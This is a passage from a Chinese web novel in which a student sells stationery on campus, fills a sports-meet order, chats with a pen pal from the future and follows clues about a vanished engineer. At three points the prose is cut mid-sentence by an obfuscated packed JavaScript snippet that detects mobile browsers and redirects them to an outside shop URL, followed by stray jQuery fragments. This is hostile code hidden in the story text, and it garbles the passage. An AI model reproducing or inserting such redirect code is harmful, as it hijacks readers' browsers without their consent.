“应该快了。”安玥回复,“对了,谢谢您之前的支援,那些经费帮了大忙。” “不用客气。”Z说,“我这边刚结束一个无聊的会议,看到你们的进展,比听财报有意思多了。” “哈哈,您好像不太喜欢开会。”她随口说道。 “会议室里和你们勘探的地方一样,都是某种意义上的遗迹。”Z的语气有些讥诮,“只不过一个堆满了数据,一个堆满了灰。” 这个比喻让安玥笑了。 “那您更喜欢哪个?”她问。 Z没有明确回复,“如果你们在勘探中遇到处理不了的设备问题可以联系我。我这里有一些勘探装备,性能虽然比不上最新型号,但比你们现在用的应该好一些。” “谢谢,有需要我会说的。”安玥打字,“不过我们队长比较传统,喜欢用老装备,说那样更有勘探感。” 这是她临时编的借口,总不能真让Z寄未来装备过来吧? “理解。”Z居然接受了这个理由,“有些老勘探员确实有这种情怀。不过安全第一,如果遇到危险环境,还是要用可靠的装备。” “明白。” -- 在未来时空,某人调出集团考古研究部的负责人,输入一条消息:“把第三代勘测装备的库存清点一下,准备五套备用。” 做完这些,他靠在椅背上,看着窗外永远灯火通明的城市。心里第一次有了一丝不一样的期待,期待屏幕后的那个人明天又会带来什么分享。 19. 第 19 章 安玥的墨水摊有了执照和证明,但学生们习惯了去小卖部,对这个突然冒出来的学生摊位还是持观望态度。安玥也不急,每天准时出摊,有人问就耐心解释,没人问就坐着看专业书。 几天后。 那天下午下起了小雨,安玥本来打算收摊,却见一个男生抱着书本急匆匆跑过来,眼镜片上都是水珠。 “同学,还有墨水吗?”他喘着气问。 “有,你要几瓶?” “两瓶……不,三瓶!”男生掏钱,“我们宿舍楼下的宣传板明天要更新,宣传委员让我帮忙写,结果发现墨水用完了。小卖部那个大妈说今天不上货,得等明天……” 安玥麻利地包好三瓶墨水,又额外送了他一个蘸水笔尖:“这个你拿着。” 男生愣了愣,接过笔尖,忽然说:“同学,你是机械系的安玥对吧?我好像在校办工厂见过你。” 安玥抬头仔细看了看对方,有点眼熟,好像是隔壁土木系的。 “嗯,我在那边帮忙整理档案。” “难怪看着眼熟。”男生笑起来,“你这墨水真不错,比小卖部的还便宜。这样,我回去跟班上同学都说一声,让他们有需要都来你这儿买。” “那太谢谢了。” 男生摆摆手,抱着墨水跑进雨里。 第二天一早,她刚摆好摊,就有四五个土木系的学生结伴过来,每人买了一两瓶墨水。其中一个女生还问:“同学,你这儿有作业本吗?小卖部的作业本质量太差了,一写就透。” “暂时没有,不过我可以想想办法。”安玥记下了这个需求。 接下来的几天,安玥的摊位前渐渐热闹起来。各个系的学生都来光顾。有人是图便宜,有人是图方便,安玥的摊位摆到七点,正好赶上晚自习前的高峰期。 一周后,安玥算了一笔账。 这一周,她扣除成本,净利润十四块三毛钱,相当于一个普通工人半个月的工资。 更重要的是,她的小摊在省城大学有了回头客,甚至是客带客。学生们都知道,校门口有个机械系的女同学在勤工俭学,卖的东西又便宜又好,还经常送小赠品。 安玥没有满足于此。 她开始扩展品类。先是用系统兑换了一批作业本。这次她学聪明了,不再兑换成品,而是兑换了一大卷白纸和裁纸刀,自己裁成作业本大小,再用从校办工厂要来的废线装订起来。 自制的作业本虽然简陋,但纸张厚实,不透墨不洇纸,而且价格只有小卖部的一半。 八十年代初,学生们的生活费普遍不高,一分钱都要掰成两半花。作业本是刚需,每天都要用。安玥的作业本虽然没封面、没格子,但很实用。 第一天推出作业本,她就卖掉了五十本。第二天,八十本。到第三天,有学生直接来预订了。 安玥看着摊位前排起的小队,心里十分畅快。 一天下午收摊后,安玥没有直接回宿舍,而是去了趟市中心的百货大楼。她在文具柜台前转了快一个小时,把各种文具的价格、规格、品牌都记在小本子上。 然后她算了一笔账。 以最常见的“英豪”牌钢笔为例:百货大楼卖三块八一支,小卖部卖四块,。而如果她能从厂家直接拿货…… 安玥想到了系统。 她回到家,打开商城,果然在【低科技时代基础物品兑换】里找到了钢笔。 【普通钢笔:兑换需80纪元币/支】 太贵了。按汇率换算,一支钢笔的成本要八毛钱,她卖出去最多赚个几毛,不划算。 但安玥发现如果她不兑换成品,兑换配件。 商城里有单独的钢笔尖、笔杆、墨水囊、笔夹。兑换价格分别是:笔尖20纪元币,笔杆15纪元币,墨水囊10纪元币,笔夹5纪元币。一套配件总共50纪元币。 安玥眼睛亮了。 她先兑换了十套配件,花了500纪元币。晚上在宿舍里,她拉上床帘,借着手电筒的光,开始组装钢笔。 过程比她想象的简单。笔尖插进笔杆,墨水囊塞进去,笔夹卡上,一支完整的钢笔就成型了。 她试着在纸上画了几笔,出水流畅,书写顺滑。 第二天,安玥的摊位上多了一个新牌子:“英豪同款钢笔,一元五角一支,送一瓶墨水”。 这个价格一出来,整个摊位围上来好些人。 “一块五?真的假的?小卖部要四块呢!” “同学,你这钢笔能用吗?别是样子货吧?” 安玥早有准备。她拿出几支试用的钢笔,摆在摊位上:“随便试,写坏了算我的。” 一个男生拿起钢笔,在纸上写了几个字,眼睛一亮:“哎,还真不错!出水比我的老钢笔还顺!” “我要一支!” “我也要一支!” “给我两支,我帮我室友带一支!” 那天下午,十支钢笔一抢而空。安玥收了十五块钱,净赚十块,墨水成本忽略不计。 更重要的是,这个价格把周围几个摊贩都惊动了。 校门口这条街,除了小卖部,其实还有两三个偷偷摆摊的——有卖烤红薯的老大爷,有修鞋的中年男人,还有卖头绳发卡的大姐。他们平时和安玥井水不犯河水,但看到安玥的生意这么火,难免眼热。 修鞋的老王凑过来:“小姑娘,你这钢笔哪儿进的货?这么好卖?” 安玥早就想好了说辞:“王叔,这是我表哥在南方厂里做的,内部价拿的货。” 她知道“南方货”是个万能借口。那时南方确实有很多小厂在生产各种日用品,价格便宜,质量也不错。 老王信了:“南方货啊……难怪。小姑娘,你这生意做得不错。” “混口饭吃。”安玥谦虚地说。 “南方货”这个的说法很快就在校门口传开了。学生们口口相传:“那个卖文具的女同学有南方渠道,东西又好又便宜。” 一周后的一个傍晚,安玥正准备收摊,一个穿着中山装、戴着眼镜的中年男人走了过来。 “同学,你是安玥吧?” 安玥抬头:“我是。您是?” “我姓张,是学校后勤处的。”男人掏出工作证,“听说你这儿有南方来的文具,价格很实惠?” 安玥心里一紧。后勤处?该不会是来找麻烦的吧? 但她面上保持镇定:“张老师好,我就是勤工俭学,卖点小东西……” “别紧张。”张老师笑了,“我不是来找麻烦的。是这样,学校下个月要开秋季运动会,规模比较大——全校二十八个系都参加,运动员加工作人员超过两千人。我们需要采购一批物资。” 他顿了顿,继续说:“去百货大楼问了价,预算差得远。听说你这儿的东西物美价廉,就想来问问,你能不能接这个单子?” 安玥心跳加速。 全校运动会?两千多人?这可是天大的单子! 她冷静下来问:“张主任需要哪些东西?大概要多少?” 张主任从公文包里拿出一张清单,“笔记本一百本,钢笔五十支,墨水两百瓶。广播站需要用的大号笔记本二十本,红蓝墨水各十瓶。” 他把纸展开递给安玥,“团体前三名要发锦旗,这个我们已经订了。个人项目一等奖二十个,需要钢笔加笔记本套装;二等奖五十个,需要钢笔;三等奖一百个,需要笔记本。另外所有参赛运动员都要发纪念品,大概需要一千五百份纪念笔记本,封面要印校徽和‘1980年秋季运动会纪念’字样。” “还有后勤物资,号码布五百个,别针一千个,裁判用口哨三十个,计时用秒表十个……” 张主任念完清单,抬头看安玥:“这些东西,你能提供多少?” 安玥快速心算:工作人员文具、奖品、纪念品、后勤物资……这单子的总价值,恐怕要几百块钱! “大部分都能提供。”她谨慎地说,“但有些东西,比如秒表,可能需要一点时间调货。另外纪念笔记本需要定制封面,得找印刷厂……” “印刷厂我可以介绍。”张主任说,“你就说,如果全包给你,总价大概多少?我们的预算是三百五十块。” 三百五十块! 安玥倒吸一口凉气。这是她在这个世界经手的最大一笔生意! 但她知道,不能表现得太激动。 “张主任,我需要回去核算一下成本,明天给您报价,可以吗?” “行。”张主任点头,“这样,明天上午十点,你带着样品和报价来后勤处找我。记住,质量要过关,价格要实在。” “一定!” 送走张老师,安玥站在摊位前,还有点恍惚。 这个大单子如果她能接下来,利润至少有一百五十块! 当晚,安玥在宿舍里忙到深夜。 她先用系统兑换了各种样品:钢笔配件、纸张、墨水、别针……甚至找到了老式口哨和秒表的兑换选项,然后开始组装钢笔、装订笔记本。 王丽娟和李红英看她忙得满头大汗,都过来帮忙。 “安玥,你这是接了大单子啊?”李红英边装订边问。 “嗯,学校运动会用的奖品。”安玥没瞒着室友,“你们帮我这次,我请你们吃饭。” “吃饭就算了。”王丽娟推了推眼镜,“你教我怎么装订笔记本吧,这个挺有意思的。” 三个女生在宿舍里忙活到熄灯,又点起蜡烛继续干。到凌晨两点,笔记本和钢笔的样品都准备好了。 第二天一早,她抱着满满一大包样品去了后勤处。 张主任仔细检查了每一样东西。他拧开钢笔试写,翻开笔记本看纸张,甚至吹了吹口哨测试音量。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108742|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不错,质量确实可以。”他点点头,“报价呢?” “张主任,我核算了一下。”安玥拿出自己手写的报价单,“所有物品加起来,总价三百三十块。比您的预算少了二十块,但我保证质量绝对过关。” 她故意报低了二十块,给对方留出砍价空间,也显得自己实在。 果然,张主任笑了:“小安同学,你很会做生意啊。三百三十块……行,这个价格我们可以接受。但是,”他顿了顿,“交货时间很紧,两周内必须全部到位。纪念笔记本的封面印刷,我下午带你去印刷厂,你今天就得把设计稿定下来。” “没问题!” “另外,”张主任补充道,“我们预付百分之三十的定金,货到验收合格后付清尾款。这是学校的规矩,你能接受吗?” 百分之三十,就是九十九块。 “能接受!”她面露喜色。 “好,那咱们就签个简单的协议。”张主任拿出早就准备好的文件,“你是学生,不需要太复杂的合同,就写个订货单,双方签字盖章就行。” 安玥接过那张盖着学校公章的信纸签下自己的名字。 出了后勤处,她又去了趟邮局,把其中30块钱寄回了老家的街道办,附言写着:“请转交王主任,感谢街道一直以来的照顾。安玥。” 这是她早就想好的。那一千多块她不敢轻易动用,但这笔靠自己赚来的钱,她可以光明正大地用。给街道寄钱,既是感恩,也是给自己留条后路。万一以后有人查她的经济来源,街道可以作证她在勤工俭学。 下午,张主任如约带她去了学校合作的印刷厂。厂长是个五十来岁的老师傅,听说要印一千五百本纪念笔记本的封面,皱了皱眉:“时间太紧了,至少要十天。” “王厂长,帮帮忙。”张主任说,“这是学校运动会的纪念品,很重要。” 安玥赶紧递上校徽图案和字样。 王厂长看了看:“设计倒是简单……行吧,我让工人们加个班,七天给你赶出来。但价格不能便宜,一分钱一分货。” “多少钱?”安玥问。 “连设计带印刷,一分钱一本。一千五百本,十五块。” 安玥心疼,但这是必要开支。 “行,十五块就十五块。” 交了五块钱定金,约定七天后取货。 从印刷厂出来,安玥长长舒了口气。 最大的难题解决了。 接下来的一周,安玥跟系里请了几天假,暂停了校办工厂的工作,把所有时间都投入到了这笔订单中。 舍友们看她这么拼命,主动提出帮忙。安玥教她们装钢笔尖、塞墨水囊,三个女生在宿舍里忙活起来。 “安玥,你这生意越做越大了。”李红英一边装笔夹一边说,“咱们宿舍都快成车间了。” “等这笔单子做完,我请你们下馆子,吃最好的!”安玥承诺。 “吃啥馆子啊。”王丽娟推了推眼镜,“你把本钱收回来就行,别亏了。” “不会亏的。”安玥笑了,“扣除所有成本,我能赚这个数。” 她伸出两根手指。 “二十块?”李红英猜测。 安玥摇摇头。 “难道是……两百?”王丽娟瞪大眼睛。 安玥点点头。 宿舍里瞬间安静了。 “我的妈呀……”张秀兰喃喃道,“俺爹在村里干半年农活,也赚不到两百块……” “所以咱们得好好干。”安玥认真地说,“这笔钱挣到了,我给你们每人三十块辛苦费。” “不用不用!”三个室友异口同声。 “要的。”安玥坚持,“没有你们帮忙,我一个人根本做不完。” 第四天,钢笔全部组装完毕。 第五天,开始装订笔记本。普通笔记本好办,纪念笔记本需要等封面,但内页可以先准备好。 安玥悄悄用系统兑换了大量白纸,四个女生围坐在宿舍地上,裁纸、摞齐、打孔、穿线…… 到第七天,安玥去印刷厂取回封面时,所有内页都已经准备好了。 接下来是最后的组装:把封面和内页缝在一起,压平,整理。 又忙了两天两夜。 第十天凌晨三点,所有货物终于全部完成,宿舍地上堆满了纸箱。 四个女生坐在纸箱中间。 “完工了……”李红英甩了甩手说。 “明天交货……”王丽娟站起来伸了个拦腰。 “俺的手都不是俺的了……”张秀兰看着自己发酸的手指。 安玥爬起来,数了数箱子,又检查了一遍数量。 全部齐了。 “明天交货,收尾款。”她说,“然后我请你们去最好的国营饭店,点一桌肉菜,管饱!” “好!” 20. 第 20 章 交货那天,安玥借了校办工厂的板车。 四个女生吭哧吭哧把十几个纸箱搬下楼时,隔壁宿舍的姑娘们扒着门框看热闹。 “306这是要搬家啊?” “听说安玥接了学校运动会的单子!” “我的天,这么多东西……她一个人做的?” 李红英叉着腰喘气:“咱们四个!手都快缝秃噜皮了!” 板车推到后勤处仓库门口,张主任已经等着了。他身后还站着两个体育老师模样的人,都穿着运动服。 “来了?清点吧。”张主任递过一张验收单。 两个体育老师拆箱抽检。钢笔拧开试写,笔记本翻开抖纸页,口哨吹得震天响。仓库门口很快围了一圈看热闹的学生。 抽检了二十多件,没发现问题。张主任点点头,在验收单上签了字。 “尾款明天来财务室领。”他看了看安玥和她的三个室友,“辛苦你们了。运动会那天,给你们留个前排的座位。” “谢谢张主任!” 回宿舍的路上,李红英一把搂住安玥脖子:“国营饭店!吃肉!说话算话!” “算话算话!”安玥被她勒得直笑,“明天领了钱就去!” 第二天,安玥从财务室出来,捏着装着钱的牛皮纸信封。 回到宿舍,她把三个室友叫到一起。 “说好的辛苦费。”她抽出三张十元钞票,放到每人面前。 李红英眼睛瞪圆了:“真给啊?” 王丽娟推眼镜的手顿在半空:“太多了……我们就是帮忙装订……” 张秀兰盯着钱,脸憋得通红:“这么多钱啊,感觉像是在占便宜。” “必须拿着。”安玥把钱塞进她们手里,“没有你们,这批货我做到下个月都做不完。这是劳动所得,光明正大。” 她顿了顿,又说:“而且以后可能还有活儿。” 三个室友互相看了看。 李红英最先把钱揣进兜里,一拍大腿:“行!那我就收下了!” “那谢谢啦。”王丽娟轻声说。 “那俺也收下了!”张秀兰也豁出去了。 四个姑娘笑成一团。 晚饭定在解放路上的国营饭店。这是省城数得着的好馆子。 她们到的时候正是饭点,大厅里人声鼎沸。 李红英豪气地点菜:“锅包肉!红烧排骨!溜肥肠!再来个地三鲜!四碗米饭!” “够了够了……”王丽娟小声提醒,“吃不完。” “吃不完打包!”李红英大手一挥,“今天咱们306庆祝安玥同志创业成功!” 菜很快就上来了。 四个姑娘甩开腮帮子吃。 吃到一半,李红英忽然捅捅她:“哎,安玥,你看那边是不是秦教授?” 安玥顺着她指的方向看去。 靠楼梯的雅座里,秦树海教授正和一个穿中山装的中年男人吃饭。两人说话声音不大,但秦教授的表情很严肃,时不时摇头。 “秦教授怎么来省城了?”王丽娟也看到了。 “可能是开会吧。”安玥收回视线,心里却在思虑。 秦教授在省城,是不是意味着林知远那条线又有动静了? 她压下心思,继续吃饭。 走出饭店时天已经黑透了。 “要是天天能这么吃就好了。”李红英摸着肚子感叹。 “那你得先像安玥这么能挣。”王丽娟笑她。 “俺觉得现在这样挺好。”张秀兰小声说,“有肉吃,有学上。” 回到宿舍,洗漱完躺下时已经十点多了。安玥拉上床帘,打开系统。 有Z的留言:“笔友111,今天有分享吗?” 她想了想,打字:“今天吃了一顿很好的饭,和三个同伴一起,但是也没什么新的发现。” 那边很快回复:“听起来很热闹。” “是挺热闹的。”安玥回复道。 “现在体验热闹的机会很少。”Z的回复带着某种叹息,“咱们现在用餐大部分是单独营养舱,就算是聚在一起也是讨论工作,交换信息,或者进行虚拟实境娱乐。” “是啊。”安玥开玩笑,“吃饭不聊天,乐趣少一半。” “所以我喜欢看你的分享。”Z的回复很认真。 安玥换了个话题:“对了,你之前说的林技术员的资料,我又找到一点线索。” “什么线索?” “我今天得到一些线索,林当年可能不止留下了技术资料,还有些别的东西。” “比如?” “比如……人际关系,或者他参与过的非公开项目。”安玥想起秦教授严肃的表情,“应该不是普通的技术资料那么简单。” Z那边沉默了一会儿。 “能不能帮我继续找找线索?”他问,“当然,不会让你白打听。” 安玥心说我已经打听过了,但嘴上应着:“我试试看。不过不一定能有消息。” “尽力就好。”Z说,“另外,你们勘探队下次出发是什么时候?我这边有几套升级过的防护装备,想给你们试用。” 又来?安玥头疼。 “暂时没有外出计划。”她赶紧拒绝,“最近在休整期。而且我们队长说了,老装备用顺手了,新的反而不会用。” “理解。”Z似乎有点遗憾,“那装备我先留着,你们需要的时候随时说。” “好。” 运动会是三天后。 那天省城大学操场彩旗飘飘,喇叭里放着激进的歌曲。 安玥和三个室友坐在主席台旁边的“工作人员区”,面前摆着橘子味汽水,但冰冰凉凉的,喝一口直冲鼻子。 李红英一边喝一边点评,王丽娟在埋头写通讯稿,张秀兰紧张地盯着跑道。 安玥笑着听她们闹,目光却不由自主飘向主席台。 秦教授居然也在。他坐在校领导旁边,正和旁边的人说着什么。 似乎察觉到她的视线,秦教授忽然转过头,目光在人群中扫过,最后落在她脸上。 他愣了一下,随即微微点头。 安玥赶紧也点头回礼。 开幕式结束后是比赛。操场顿时热闹起来。 安玥负责的“奖品发放处”设在主席台后面,是个临时搭的棚子。她和两个学生会干事守着几箱奖品,等着比赛结束。 陆陆续续有获奖运动员来领奖。每个人都高高兴兴的,有的当场就拆开笔记本让同学签名,有的把钢笔别在胸前显摆。 安玥看着他们,心里那点成就感又冒出来。 中午休息时,秦教授走了过来。 “小安同学,忙呢?”他笑呵呵的。 “秦教授!”安玥赶紧站起来,“您怎么来了?” “来看看运动会,顺便找你。”秦教授看了看棚子里的奖品,“这些东西都是你准备的?” “嗯,学校给的订单。” “做得不错。”秦教授点点头,压低声音,“你上次给我的那些资料,我带回首都仔细研究过了。有些发现,想跟你聊聊。” 安玥心里一紧:“什么发现?” “这里不方便。”秦教授看了看周围,“下午有空吗?” “有空。” “那我在办公室等你。”秦教授说完,背着手走了。 安玥坐回椅子上,心怦怦跳。 下午五点,安玥准时到秦教授办公室。 秦教授开门让她进来。房间不大,办公桌桌上摊满了资料。 “坐。”秦教授给她倒了杯水,“小安,我就不绕弯子了。你给我的那些图纸和笔记里,有几处标记很特别。” 他抽出一张复印件,指着右下角:“你看这个‘星-改-3’,还有旁边这个‘慎’字。这种标记方式,我在另一个地方见过。” 安玥凑近看:“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113315|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方?” “首都档案馆。”秦教授声音压得更低了,“七十年代末,有一批特殊技术储备项目,代号都带‘星’字。但这些项目资料后来大部分遗失了,只剩下目录。” 他顿了顿:“林知远,很可能参与过其中一个项目。” 安玥手心冒汗:“什么项目?” “具体内容不清楚,目录上只写着‘星火-民用转化可行性研究’。”秦教授盯着她,“小安,你实话告诉我,你收的那些资料里,有没有更完整的?比如……项目报告,或者实验数据?” 安玥摇头:“真没有。我收的都是散件,最完整的就是那本工作笔记了。” 秦教授叹了口气:“可惜了。林知远这个人……是个天才,但也是个悲剧。他那些想法太超前,当时没人理解。后来项目黄了,他人也失踪了。” “失踪?”安玥趁机问,“是调走了,还是……” “说是调走,但调令单位查无此人。”秦教授苦笑,“我找了这么多年,一点线索都没有。就好像……这个人从来没存在过。” 房间里安静下来。 安玥脑子里飞快转着。林知远参与过保密项目,项目下马,人失踪……这剧情怎么这么熟悉? 她忽然想起前世看过的那些谍战片。 “秦教授,”她小心翼翼地问,“林技术员会不会出国了?” “不可能。”秦教授摇头,“那个年代,技术人员出国比登天还难。而且他家人都在国内,后来也都正常生活,没人提起过他。” 这就更奇怪了。 “那您还继续找吗?”安玥问。 “找。”秦教授眼神坚定,“就算找不到人,至少得把他留下的东西整理出来。那些技术思路,就算现在用不上,将来也许有用。” 安玥忽然有点敬佩这个老教授了。 “秦教授,如果我以后收到相关的资料,一定第一时间给您。”她郑重承诺。 “那就先谢谢你了。”秦教授笑了笑,从抽屉里拿出一个信封,“这是之前资料的费用,还有一点……算是信息费。” 安玥接过信封,厚厚一沓。 “这太多了……” “应该的。”秦教授摆摆手,“你一个学生,不容易。” 从办公室出来时,校园里很安静,只有操场那边还亮着灯,晚间的比赛还在继续。 她回到宿舍给Z发了消息:“Z先生,我找到一点线索。” “什么线索?” “林可能参与过一个保密项目,后来项目没继续推进,人失踪了。”安玥把能说的都说了,“据说林的技术思路很超前,当时没人理解。” “超前到什么程度?” “像是涉及一些基础理论的重构。”安玥斟酌着用词,“具体我也不懂。” “我知道了。”Z的回复很简短,“谢谢你告诉我这些。报酬我会额外转账。” “不用……” 话没说完,系统提示音响起: 【用户Z发起一笔定向转账:100000纪元币。备注:信息费。】 安玥手一抖,十万?就这几句话? 她赶紧打字:“Z先生,这太多了!之前的报酬已经够了!” “没事,如果还有更多信息,请继续告诉我。” “好的,我尽量。” 安玥关掉系统,躺下睡觉。 睡梦中,她好像听见系统提示音,但太困了,没去管。 第二天早上醒来时,她看到Z的留言,是凌晨三点发的。 “笔友111,你说得对。低效确实有低效的好。” 安玥笑了笑,没回复。 她爬起来,和室友们一起去食堂。 吃完饭,安玥去了校办工厂。 仓库里,主任一看见她就笑:“小安来了?正好,有批新到的废档案,你要不要看看?” “要!”安玥眼睛亮了。 21. 第 21 章 运动会开完第三天,安玥和舍友们终于从搬物资的后遗症里缓过劲来。 张秀兰一大早对着镜子贴膏药——昨天搬箱子扭了腰。李红英趴在床上哼哼:“安玥,你腿不酸吗?我怎么感觉这腿都不是自己的了。” 安玥正对着小镜子梳头,闻言转头:“酸啊,但今天有课得去。” “你可真行。”王丽娟翻个身,“我今儿是哪儿也不去了,就在床上躺着。” 安玥笑了笑,把梳子放回铁皮盒里。 上午的课是专业课,在实验楼三楼。安玥抱着课本往教室走,在楼梯拐角差点撞上个人。 是个高个子男生,穿着工装,怀里抱着一大摞书。两人同时后退一步,书“哗啦”一声撒了一地。 “对不住对不住!”安玥赶紧蹲下帮忙捡。 “没事。”男生也跟着蹲下来。 书散得到处都是,看着都是本专业的资料书。安玥一本本捡起,摞好。 男生接过书,道了声谢,起身走了。 安玥也继续往教室走,坐在教室里掏课本时,手忽然顿住了。 在她那摞课本中间,夹着个硬壳笔记本。 不是她的。 她愣了两秒,反应过来,刚才捡书时,那本笔记本不知怎么混进了她的书堆里。 她赶紧走到教室门口向外看去,楼梯拐角早已空无一人。 上课铃响了。安玥只能先把笔记本塞进书包,匆匆进了教室。 老师是个严肃的老先生,讲起课来一板一眼。安玥坐在后排,心思却不在黑板的公式上。 好不容易熬到下课,她抱着书包去了图书馆。 在三楼阅览室找了个最角落的位置,她掏出了那个笔记本。 深蓝色塑料封皮,翻开第一页,上面用钢笔写着:密密麻麻的数据表格:日期、测试项目、参数、结果、备注……应该是某种测试记录。 安玥一页页翻下去。 数据很详实,记录方式很规范,像是正规实验室出来的。但越往后翻,她越觉得不对劲。 有些测试项目的设置很奇怪,不像是在验证现有技术,更像是在探索某种可能性。备注栏里的批注也很特别:“响应延迟超出预期,原因待查”“建议尝试性补偿”“传统模型不适用,需建立新框架”…… 这些批注的语气,不像普通大学生,倒像个搞研究的。 翻到笔记本中间,有一页的空白处用铅笔草草画了个示意图,旁边标注着“动态自适应修正?” 字迹有些潦草,但安玥看着眼熟,和之前在工厂图纸上看到的林工批注,笔迹和笔锋很像。 她合上笔记本,看了看阅览室墙上的挂钟,离下午上课还有一个多小时。 得先回趟宿舍。 回到306时,宿舍里空无一人。舍友们大概去食堂还没回来。安玥拉上床帘,盘腿坐在床上,唤出了系统面板。 淡蓝色的光屏在面前展开。她选择扫描功能,将笔记本放在面前。 【扫描中……】 进度条缓缓移动。安玥盯着那本深蓝色封皮的笔记本。 【扫描完成】 【物品名称:实验数据记录本】 【年代判定:约1978-1979年(存在轻微年代干扰)】 【系统评估价值:800000-1500000纪元币】 安玥数完价格上的0,倒抽一口凉气。 最低八十万?最高一百五十万? 她手指颤抖着往下翻鉴定详情: 【物品与“林知远”线索存在潜在关联,但关联性质无法判定】 【笔迹分析因多重时空扰动干扰,无法与现有林知远样本进行可靠比对】 【物品存在轻微时空残留效应,可能经手过特殊时空环境】 安玥盯着那几行鉴定详情,眉头紧皱。 什么叫时空扰动?为什么笔迹无法比对? 还有那八十万到一百五十万的价格区间,跨度大得离谱。系统很少给出这么不确定的估值,除非…… 除非这东西本身就不正常。 她翻开笔记本,再次仔细查看那些实验记录。 窗外的广播声突然响起,吓了她一跳。 安玥迅速合上笔记本,塞进书包。脑子里乱成一团。 下午的制图课,安玥画图画得心不在焉。直线画歪了两次,被老师敲了桌子:“安玥同学,认真点!” “对不起老师。”她赶紧低头改图。 下课铃一响,她第一个冲出教室,抱着书包就往上午撞见那个男生的楼梯口跑。 等了十分钟,没见人影。 她想了想,转身往图书馆去。那人抱着的都是专业书,很可能是图书馆借的。 阅览室的管理员正在整理卡片柜。安玥走过去:“老师,请问今天上午有没有一个男生来还书?大概这么高,穿工装,借的是些机械专业的资料。” 管理员从眼镜上方瞥她一眼:“每天来还书的男生多了,我哪记得住。” “那能帮我查查借阅记录吗?”安玥硬着头皮问,“我捡到个笔记本,可能是他的。” 管理员推了推眼镜,打量她几眼,终于从抽屉里翻出本登记簿:“叫什么名字?” “不知道……”安玥想了想,“可能是机械系大三大四的?今天上午借的书。” 大妈翻了几页,手指停在某一行:“机械系大三,陆恒,今天上午借了七本,《控制系统基础》《信号处理导论》……是这人吗?” “应该是。”安玥点头,“老师知道他哪个班的吗?” “这我哪知道。”管理员合上登记簿,“你要还东西,去机械系大三宿舍楼问问吧。三号楼。” “谢谢老师!” 从图书馆出来,安玥看天色还早。她抱着书包往三号楼走,走到半路又停下了。 一个女生直接去男生宿舍楼找人不合适。 她想了想,转身回了自己宿舍。 晚饭时,安玥一边啃馒头一边琢磨。李红英看她心不在焉,碰了碰她胳膊:“想啥呢?饭都不好好吃。” “没什么。”安玥摇摇头,“对了红英,你认识大三的人吗?” “大三?”李红英想了想,“认识一个,学生会的,叫赵建国。怎么,有事?” “能帮我打听个人吗?叫陆恒,机械系大三的。” “陆恒?”李红英皱起眉,“这名字有点耳熟……我想起来了!是不是那个总独来独往、成绩特别好但从来不参加活动的?” “可能是。”安玥说,“我捡到他东西了,想还给他。” “行,我帮你问问。”李红英爽快答应,“明天我去学生会找赵建国打听打听。” 下午,李红英带来了消息。 “打听清楚了,陆恒,机械系大三二班的,成绩年级第一,但性格特别孤僻。”李红英一边剥橘子一边说,“听说他不住校,在学校外面租了个小房子,具体在哪不知道。平时除了上课就是泡图书馆,几乎不跟人说话。” “租房子?”安玥有些意外。这年代大学生租房子住的可不多见。 “嗯,听说他家条件不好,但成绩好,系里给特批的。”李红英把橘子分她一半,“你要还东西,我建议直接去他们班教室堵人。他们明天下午第一节有课,在实验楼302。” “谢谢。”安玥接过橘子,“帮大忙了。” 第二天下午一点半,安玥早早等在了实验楼302教室门口。 陆陆续续有学生进教室,大多抱着厚厚的专业书。安玥靠在走廊窗边,眼睛盯着楼梯口。 距离上课铃还有十分钟的时候,那个穿着工装的身影终于出现在楼梯口。 他走得不快,微微低着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119005|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手里只拿了本笔记本和一支笔。 安玥深吸一口气,走过去:“陆恒同学?” 陆恒停下脚步,抬头看她。他的眼睛很黑,眼神平静。 “我是安玥,机械系大一。”安玥从书包里掏出那个深蓝色笔记本,“这个,是不是你的?” 陆恒的目光落在笔记本上,有些惊讶,伸手接过,翻开第一页看了看,点点头:“是我的。谢谢。” “昨天捡书时不小心混进我书里了。”安玥解释,“我去了趟图书馆查借阅记录,才知道是你。” 陆恒又打量了她一眼,这次眼神里多了点别的什么。 “你看过了?”他问。 安玥淡淡一笑:“翻了一下,看到是实验记录,就没细看。想着得赶紧还给你。” 这话半真半假。她确实没细看,没时间细看。 陆恒沉默了几秒,把笔记本收进怀里:“谢谢。” 说完,他就要进教室。 “那个——”安玥叫住他,“笔记本里的内容……很有意思。有些思路很超前。” 陆恒的脚步顿住了。 他转过头,看着安玥,眼神比刚才锐利了些:“你看得懂吗?” 